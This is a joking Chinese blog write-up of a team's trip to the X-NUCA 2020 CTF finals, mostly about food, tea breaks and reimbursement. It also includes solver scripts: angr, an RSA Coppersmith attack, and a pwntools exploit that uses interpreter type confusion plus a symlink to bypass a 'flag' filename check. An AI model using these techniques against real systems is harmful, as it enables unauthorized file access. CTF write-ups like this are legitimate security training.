16 Dec 2020

X-NUCA Final-WriteUp

X-NUCA Final-WriteUp

是个🔨WriteUp

0x0

网鼎杯也在深圳,11 月底打,龙鸣比赛吃住路费全不管,还要做核酸。队友有事凑不齐,👴还要考龙鸣普通话考试,据说不考不让毕业,👴直接弃赛,赛后看封神榜。

同样在深圳,X-NUCA 管吃管住,路费报销,做核酸报销,彳亍!赛题质量,彳亍!比赛体验,彳亍!

这个比赛👴🐋非常重视,在初赛时腐败分子 housebuilding 拿出公费让冯老师买了可乐和薯片,可见组织👆对比赛的重视程度。

在薯片的支持下,👴🚪来到了深圳。

👴🚪每次打比赛都要定下一些任务,这次的主线任务是:

  1. 收集报销材料,完成报销
  2. 称霸茶歇区
  3. 接受一切必要或不必要的宴请、礼品、参观,特别是宴请
  4. 腐败

比赛奖项,⑧存在的,👴🚪打比赛就是为了旅游。进决赛=旅游,达成目标,已经按照夺冠规格庆祝了。

0x1 第一天

封神榜

这个招待所,住的很拉跨,但是吃的彳亍。决赛有个人赛,在报道当天晚上,中央已经决定了,由👴去白给。👴不能在食堂一直吃,血亏。

简单做了一些赛前准备,如图所示

2

世界名画《AiDai 去打个人赛》,注:盘子已经收了三轮了。

走之前发现有烤鸭,排了一队,吃了两卷,差点迟到。

七点半打到九点半,俩小时,👴寻思👴也做不出来几个题,但是👴队历史最佳战绩就是白给,所以👴只要参赛就可以追平历史最佳战绩。

比赛在一个教室打,主办方来了挺多人,在教室里溜达,跟监考一样。和大多数比赛一样,规则上写了连外网取消成绩,平台是 CTFd,不是带公司的带平台,估计也没有反作弊系统。

👴先把小黄鸭放桌上

9

一共八道题,Pwn、Reverse、Crypto、Web 四个方向,每个方向各两题。👴先把题看一遍,Pwn 比较花时间,先放着,Crypto2 看着应该是👴能做的,Web 爪巴。Reverse,re1,flag 检查🐓,逻辑不复杂,直接上 angr。

import angr
proj = angr.Project('./re1', auto_load_libs=False)
state = proj.factory.entry_state(add_options={angr.options.LAZY_SOLVES})
sm = proj.factory.simulation_manager(state)
sm.explore(find=0x401338, avoid=0x40131F)
print(sm.found[0].posix.dumps(0))

秒了

X-NUCA2020 个人赛,开赛八分钟👴拿下 re1 一血,一度超越包括清华带学在内的各带知名带学,排名第一。

Crypto leakage

#!/usr/bin/env python3
from Crypto.Util.number import *
from secret import FLAG

p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)

N = p * q * r
phi = (p-1) * (q-1) * (r-1)

e = 65537
d = inverse(e, phi)

p0 = p - p % getPrime(384)
res_0 = p0 + r
res_1 = p0 * r
pt = bytes_to_long(FLAG)
ct = pow(pt, e, N)

if __name__ == '__main__':
    f = open("output.txt", "wb")
    f.write(str(res_0).encode() + b'\n')
    f.write(str(res_1).encode() + b'\n')
    f.write(str(N).encode() + b'\n')
    f.write(str(ct).encode())
    f.close()

三因数 RSA,给了俩白给数据能解出来 r 和 p0

p0 = p - p % getPrime(384),👴试了一下发现是给出了 p 高位,已知 p 高位分解 n,直接套祖传脚本

n=20849349242767366998591400849383176730048316206073530167581187319204920129021133902534236872102248794542580308537895730184413107390058816685881623155278166340799728920567191824581413447850632405668735684107437155821872800458962700873891058827805662368909494186611177542138195861092305846398248332178556765302836883172536285891827071207874546544563931677241137248602806251080558677309539156623859490349843871764009265983399618123066329559983445460349841080116495506071697849791686194072319889360958249547124341882244082426525929818240000481525292061035323426342959727889950250633029037831339292276548830940660886107409
pbits = 1024
p4 = 0b1111101110000010101110010011101111101100101101001100010011101110110011100101101011101001100100101000110001001000111110110110001010000011011000010111110000110110010010110001100001110011010101101101111101110100100111000010000001000111000110111101100010000011010010000000100101101000000010000011110101001101101010000001110100111101000000010001111100111010101011011000011101011100110000100100111000000001110101010111111110111111000110001110101011010101100111011011101110101110011110100110110100010001000011101101011100000010000001111110110000100101011100101110000100000011010010101110101010010011000110

kbits = pbits - p4.nbits() 
p4 = p4 << kbits 
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4) 
if roots: 
  p = p4+int(roots[0])
  assert n % p == 0
  q = n/int(p)
  print(p)
  print(q)

👴刚开始把 p0 和 r 写反了,卡了半天,比赛时觉得无所吊谓,伏笔不带。

比赛结束,主办方要求排名靠前的选手现场口述 wp,排名靠前刚好定义到👴前面一名,👴白给,👴提前上车。

👴在车上玩手机,主办方突然来问👴和👴后面的上交带哥💊wp。

发生甚么事了,源赖氏

1

人民曰报不让说涉🐎的东西,👴不说了

主办方说前面 ban 的太多了,轮到👴了,👴脑子可能有点不好使,以为是轮到 ban 👴了。

听说有人看着 burp 把 reverse 解了,🌶💉💧🐂🍺。👴感觉⑧太会顺延到👴,但还是先奶了一波:如果👴个人赛拿奖,👴回学校裸奔。

这是👴见过最牛逼的反作弊系统,是“连外网取消成绩”规则的带进步,用最简单的比赛现场为国内带公司带平台带比赛做出了榜样。

看了眼群👴发现👴错过了甜品,血亏。

0x2 第二天

口乞

贵校食堂早餐龙鸣,⑧彳亍。👴只有在打旅游比赛的时候早上能吃丶好的。👴是第一批到食堂的,一直吃到开车前。快开车了👴看到有些队才刚到,看来现在有些同志吃饭不积极啊,👴从食堂开门吃到现在,他们现在才来。

7

世界名画《其他队在睡觉》

吃饱坐车去比赛场地参加开幕式。👴一进去首先定位茶歇区,然后找撤硕,体育馆这边的撤硕只有两个坑位,👴🚪只能排队。开幕式之后是各带公司吹牛逼环节,所以👴🚪去了茶歇区。

茶歇区相比太湖杯少了罐装可乐和红🐂,有咖啡和红茶,小点心挺不错,这是少有的提供蛋挞的茶歇区。👴吃了挺多蛋挞,7k👴觉得小饼干彳亍,里面那个果干不错,👴感觉太干了,吃的不多,建议 7k👴把果干抠出来吃。

水果没什么研究的,只有7k👴专注于水果方向的研究,建议多和他交流。

盒饭不错,👴感觉第一天的盒饭比第二天好一点,这也可能是因为👴第二天无心吃饭。👴队对山东省赛盒饭的评价很差,评价盒饭时总要拿出来鞭尸,但是👴觉得还行,这也勾起了👴对省赛的回忆,🌶是一个没有茶歇区的中午,👴嘴里叼着个🐓腿把 pwn100 扬了。这次的盒饭和山东省赛盒饭相比要好一些,但是和 CISCN2020 的盒饭相比还有一定的差距。

虽然由教育部高等学校网络空间安全专业教学指导委员会主办的 2020 年第十三届全国大学生信息安全竞赛——创新实践能力赛决赛是由北京易霖博信息技术有限公司作为技术支撑,但是👴🚪要承认,盒饭是针的好吃。

第一天发盒饭的时候比赛还没有开始,所以吃饭的人比较多,👴想蹲着吃饭,出门就发现有个墩,开吃。这时候恰好是深圳带学下课的时间,同学们刚上完体育课,从馆里出来,看👴🚪蹲了一排,如图所示:

3

他们看着👴🚪,👴🚪看着饭

5

赛前准备

👴🚪比较清真,以为比赛不允许连外网,手机关机扔一边,问了主办方才知道可以连外网,差点伏笔。

给小黄鸭戴上狗牌,摆拍(💻桌面是👴🚺)

4

👴先致敬北京易霖博信息技术有限公司,祭天,希望比赛平台平安。看了一眼热点,有 ylbsb(即北京易霖博信息技术有限公司傻逼),彳亍!

6

👴在等比赛开始的时候看了看其他队伍,他们竟然有女同学,👴🍋了,👴🐋应该有更多的女同学。三万👴这次⑧批判👴了,⑧让👴想👴为啥没女朋友了,可能因为他也在现场⑧。

小路从👴这路过来了一句:他们怎么有小鸭子。👴微信 gank 一波,然后👴小黄鸭就被抱走了

开局 1 awdpwn、1 web、1 koh,awd 没流量,👴🚪⑧能抄作业了。一个解释器,幸好👴🚪有 housebuilding 这个 PL 学姐。

没人比👴更懂 checker-2077

提交 patch 如果 check down 就不会传到 gamebox,但是不会扣分,👴觉得这比宕机扣分不知道高到哪里去了,👴可以瞎几把 patch。

开局先 patch 一下,测一下 checker,程序比较复杂,👴看一开始让输入一个 size。

  puts("Welcome to NeSE Vulnerable Interpreting Server");
  puts("I'll run your script provided. ");
  printf("size: ");
  scanf("%d", &script_size);

%d 改成 %c,check 过了,那没事了,👴去看题了。

白泽出了一血,然后👴🚪被☀了,全场都被 ☀了,不对劲,👴继续 patch。👴🚪把 plt 都🐏了,但还是被☀,👴感觉可能不是👴patch 出了问题,所以👴🚪把 %d 改成 %n,直接把题🐏了,没法运行,但是 check 过了,显示已经送到 gamebox。

但是👴🚪还是被☀了,三万👴说这都穿了铁裤衩了咋还是被日,他称这为《铁裤衩与量子牛子》

👴去找了主办方,👴说👴patch 了还是被☀了,他们说这题洞多,👴可能没 patch 完。

👴的意思是,👴把题🐏了。

这里有两个带问题:

  1. 👴的 patch 不该通过
  2. 如果👴的 patch 已经上传到 gamebox,👴不应该被☀

他们查了一波发现确实出了带问题,差点致敬北京易霖博信息技术有限公司

后来题目维修,checker 应该改了,👴铁裤衩传不上去,吊题洞多,patch 要么 down 要么被☀,直接放弃

夜里的智慧

夜里的智慧就是夜里做题并把题做出来。

初赛👴夜里的智慧,那时👴还没有换电脑,👴在凌晨两点,电脑断电前几秒,☀穿了 ParseC,交了 flag。

在腐败分子 house building 的撺掇下,👴🚪先腐败一波,公费买了一堆咖啡带回招待所。web👴🚪看 web,👴看koh,housebuilding 和 三万👴看 awdpwn。

三万👴顶不住趴了,👴继续看 koh。新出的 koh 是开🚗,👴带学洋文Ⅳ考了 82 分,所以👴看这些变量名大概能猜到这是道力学题。在平面内有辆🚗,输入两个矩阵开车,🚗要碰到平面内的目标,还有时间限制。👴是贵校贵院👴系通信工程专业的带学生,学过高等数学、带学物理、数学物理方法、电磁场与电磁波,这么简单的题都做不出来🐎?

👴确实做不出来。

web👴夜里的智慧,本地出了,睡带觉。

👴也顶不住了,回宿舍睡带觉。

三点多三万👴给👴打电话,👴有丶迷糊,他有丶激动。说是能瞎几把调用函数了,但是需要绕 flag 字符串的 check。👴又给 housebuilding 打电话,👴还是迷糊,👴🚪都听不懂对方在说啥,扯了十几分钟,👴👇楼。

类型混淆,可以调用 readfile 函数,文件名有 check,不能带 flag

    if(wcsstr(str, L"flag") != NULL){
        printf("no way \n");
        return ret;
    }

但是👴🚪可以用 link,虽然也有 check,但是只验了 dst

        if(wcsstr(dst, L"flag") != NULL){
            printf("no way \n");
            return ret;
        }

用 wsnd 和 flag 搞个符号链接然后读 wsnd 就完事了

from pwn import *
a = process("./vuln_interpreting")
context.log_level ='debug'

code = """
string a = "/flag";
string c = "wsnd";
int b(string x,string y){
	return 1;
}
int b = 5;
b(a,c);
string d(string z){
	return "1";
}
int d = 1;
string flag = d(c);

int e(string f){
	return 1;
}
int e = 0;
e(flag);

"""

a.sendlineafter("size",str(len(code)))
pause()
a.sendlineafter("Give me your script(same size):",str(code))
a.interactive()

👴🚪比较喜欢 wsnd 这个字符串,👴感觉以后可以试着改成 ylbsb(即北京易霖博信息技术有限公司傻逼)

批量脚本填上去,睡带觉

8

《凌晨四点的深圳》

0x3 第三天

夜里的智慧与夜里的白给

👴夜里的智慧导致⑧能早起,只能吃十分钟,现在有些同志吃饭不积极啊,夜里的白给。

开场👴🚪pwn 批量直接☀全场,夜里的智慧,彳亍!

web 打远程发现少库,夜里的白给。

没人比👴更懂 checker-lemon

新上的 awd 是个密码学,RSA oracal,一个随机数作为 AES key,加密 flag,oracal 可以得到 RSA 加密 AES key 的数据。

👴把随机数 patch 掉直接给 coin 割割,然后先修一波。

开局读 flag

  stream = fopen("flag", "r");
  if ( !stream )
  {
    puts("FLAG not found!");
    exit(-1);
  }
  fscanf(stream, "%s", &flag);

又是格式化字符串,彳亍,👴把 %s 改成 %d,check 过了。铁裤衩,不管了。

Aurora 出了一血,开始☀全场,👴被☀了,👴傻了。👴把 %s 改成 %n,把题🐏了,check 过了,还是被☀。三万👴把 flag 🐏了,改成 f1ag,题🐏了,还是被☀。

👴🚪patch 后的代码是

  stream = fopen("f1ag", "r");
  if ( !stream )
  {
    puts("FLAG not found!");
    exit(-1);
  }
  fscanf(stream, "%n", &flag);

这里有两个带问题:

  1. 👴的 patch 不该通过
  2. 如果👴的 patch 已经上传到 gamebox,👴不应该被☀

👴找主办方,说👴把题🐏了还是被☀。他们查流量没发现👴🚪被日,但是👴们没加防守分,过了几轮修好了,👴穿着铁裤衩加了防守分,差点致敬北京易霖博信息技术有限公司。后来下线维修,checker 更新,👴铁裤衩穿不上了。

继续做题,mode2 故意写了个数组越界。

result = &a1[read(0, a1, a2) - 1];

read 读 EOF 返回 0 就可以越界,执行 else 分支,得到有用的数据。

    if ( *a2 )
    {
      __gmpz_init_set_str(&fuck, a2 + 1, 16LL);
    }
    else
    {
      v3 = get_randbuf(a1, 88);
      __gmpz_init_set_str(&fuck, v3, 16LL);
    }

coin 割割找了一个 CRT 解法,题一上线👴就开始☀全场。

这里有一个带问题,👴🚪都不知道 EOF 咋发,只能用 mac 手动 ctrl+d。

👴继续 patch,先把 mode2 🐏了,check 能过。但是还被☀,👴寻思可能是有队伍找了不用 mode2 的解法,👴想把 e 都换成 65537,但是 check 过不了。队友在手动交 flag,👴在瞎几把 patch。

👴为 checker 的发展做出了巨大贡献,建议给👴颁个带奖。

富土康

web 出了之后👴队三台 mac 一起人工交 flag,熟练度提高后两分钟打完一轮,带🔥都是富土康熟练工,👴继续瞎几把 patch,7k👴负责去茶歇区拿货。

最后一小时看不到榜,但是能看到自己的排名,👴🚪一直稳在第十名,👴一直以为是前十有💴,后来发现是前十一,这波稳了。群里老哥🚪在点歌,👴一时冲动,为了追求刺激,差丶点了个《爱如海带》。

全场好像只有👴🚪这最热闹,因为👴🚪在手动交 flag。在点歌播放《奇迹再现》的时候,👴拍下了三万👴交 flag 的经典画面。

有人丶了 房东的猫 翻唱的《春风十里》,三次元人民群众唱的歌👴听的不多,但是👴希望👴能有个小黑这样的🚺,👴觉得挺合理的。

宴请与参观

下午打完去79 号渔村口乞,那👴🚪肯定去。

10

先整丶饮料,这饮料让👴想起了一些晦气故事,建议去关注陈延毕《我的晦气》。

吃的还彳亍,都是水里面的东西,housebuilding 上菜必拍照,找他要了两张。

11

12

👴没吃饱。

吃完去参观人才广场,那👴🚪肯定去。

👴以为人才广场和阿姆斯特丹村口人才市场一样,是让👴蹲着等工地拉人。

13

14

但是周围没工地。

0x4 第四天

你们看👴吊吗

👴个人赛第四,喜提 8k,伏笔成立,👴和第三同分,如果没把 p0 和 r 写反,可以早交 flag,变成第三名。带伏笔,痛失 2k。

可惜👴没机会发表获奖感言,如果可以,👴一定💊说:

尊敬的吴主席(中国海洋带学信息科学与工程学院学生会主席(正国级)),各位领导,老师们,亲爱的同学们,带家上午好!你们看👴吊吗?

团队赛👴🚪第十,喜提三等奖,喜提两万五,差丶追平历史最佳战绩(2016 决赛-第九名)。

恰逢奖学金发放日,👴学一波卷👴凡学

跑这么远打了个院级比赛,团队赛和个人赛都白给了,👴是垃圾,👴爬

还要配上这个表情

16

然后和三万👴打配合,指出这个院是中科院。

像不像卷👴?

现在的带问题是,👴💊裸奔了。

腐败

👴🚪已经按照夺冠规格庆祝过了,这也没个先例,👴只能加带腐败力度了。

招待所下面有个牛肉火锅,好像还⑧错,腐败!公费牛肉火锅!口乞!

15

可惜 7k 👴爬的早,吃不上

还有个汉堡王,盯了三天了,腐败!公费小汉堡!口乞!

可惜 7k 👴爬的早,吃不上

机场-学校,腐败!公费优享!

可惜 7k 👴爬的早,坐不上

太他妈腐败了,建议枪毙。

0xdeadbeef

X-NUCA 决赛是👴今年体验最好的比赛,虽然使用了带公司的带平台,但题目是 NeSE 的各位👴出的,没有使用带公司收的题目。虽然 checker 出了丶问题,但是题目质量⑧错。

报销路费,招待所自助、盒饭、茶歇区、夜店(79 号渔村)都不错,住宿和吃比起来可能有丶拉跨,但是还行。希望明年还能来。

任务列表

  1. 收集报销材料,完成报销(完成)
  2. 称霸茶歇区(完成)
  3. 接受一切必要或不必要的宴请(79 号渔村)、礼品(小米移动电源 3)、参观(深圳人才广场)
  4. 腐败(夜里的智慧饮料、火锅、小汉堡、优享)

全部完成

这是贵校时隔四年再次进入 X-NUCA 决赛,在茶歇区的支持下,👴🚪约等于追平历史最佳战绩,实现了贵校个人赛零的突破,这是👴的一小步,是贵校的一带步,是贵校第一次个人赛获奖也是最后一次。这可能是贵校第二次进入 X-NUCA 决赛也是最后一次,希望👴🚪的相关工作能够推动贵校数学建模与带学生创新创业事业的发展,推动卷👴们的卷学进步,祝卷👴们身体健康,早日登上国奖风采、保研学长/学姐有话说、优秀毕业生、俊采星驰。我的讲话结束,谢谢带家!


Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).